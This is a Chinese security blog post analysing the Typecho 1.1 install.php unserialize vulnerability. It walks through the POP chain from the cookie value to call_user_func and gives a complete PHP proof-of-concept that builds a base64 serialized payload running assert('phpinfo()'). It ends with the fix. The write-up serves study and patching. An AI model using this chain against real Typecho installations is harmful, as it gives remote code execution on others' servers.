typecho反序列化利用链分析

[toc]
上次国赛有一道这个题,baby_serialize,看了好久也没做出来,感觉自己代码审计能力太差了,于是乎想找几个cms审审反序列化的链子,于是就有了这篇。
找的是typecho1.1的那个漏洞,呜呜呜太菜了,因为是第一次,还是一边看师傅博客一边完成的,此处膜拜P3师傅。因为现在的版本漏洞已经修复了,搭环境还浪费了好长时间,真的心累。

利用条件

漏洞利用的地方是在install.php,这里只是验证了一下有没有get提交finish参数,若没有则退出,有的话再继续往下进行,先看看利用点:

1
2
3
4
5
6
7
8
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

这里把从get中数据然后base64解码然后再反序列化,看一下get方法的实现:

这里用了一个三目运算符,如果cookie存在就从cookie中获取值,否则就从POST参数获取值。这里我们只要直接通过cookie或者post传入我们的payload就可以利用此次漏洞。

反序列化利用链构造

因为这里是 unserialize 函数,首先我们肯定要找 __destruct() 魔术方法来利用反序列化,结果看了一圈也没有一个能用的,然后又全局搜索了 __wakeup() 方法,也是没有可以利用的。
然后往下看,new了一个 Typecho_Db 类,看看这个类的 __construct

db.php 114-120行:

可以看到这里用了字符串拼接操作,在这里可以触发 __toString() 方法,然后全局搜索__toString,在feed.php中发现可利用点。

feed.php 258-259行:

这里的 item['author']->screenName 可以触发 __get() 方法,然后全局搜索get方法,然后会在request.php中发现可以rce的get()方法。
首先是

request.php 269-272行:

这里调用get函数,跟进

request.php 295-311行:

这里在最后会调用_applyFilter方法,看看这个方法

request.php 159-171行:

就会调用这里的call_user_func()执行函数。还要说的一个地方就是,当按照上面的所有流程构造poc之后,发请求到服务器,却会返回500。
原因是在install.php的开始,调用了 ob_start() ,当我们在执行的时候会触发原本的exception,导致ob_end_clean()执行,原本的缓冲区被清理。必须像一个办法下强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。

这里有两个办法。 1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

解决了这个问题,整个利用POP链就成立了
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
class Typecho_Feed{
private $_type = 'RSS 2.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();

function __construct(){
$this->_items[] = ["author"=>new Typecho_Request(),'category'=>array(new Typecho_Request())];
}

}

class Typecho_Request{
private $_params = array();
private $_filter = array();

function __construct(){
$this->_filter = array("assert");
$this->_params = ['screenName'=>'phpinfo()'];

}
}
$config = array('host' => 'localhost',"adapter"=>new Typecho_Feed(),"prefix"=>'123',"pop"=>'123');

echo serialize($config);
echo "<br>";
echo base64_encode(serialize($config));

成功执行:

修复方法

若是之前的版本只要删掉install.php就好了,看看官方的修复方法:

增加了对数据库的判断,原来finish被删掉了,这样就安全多了。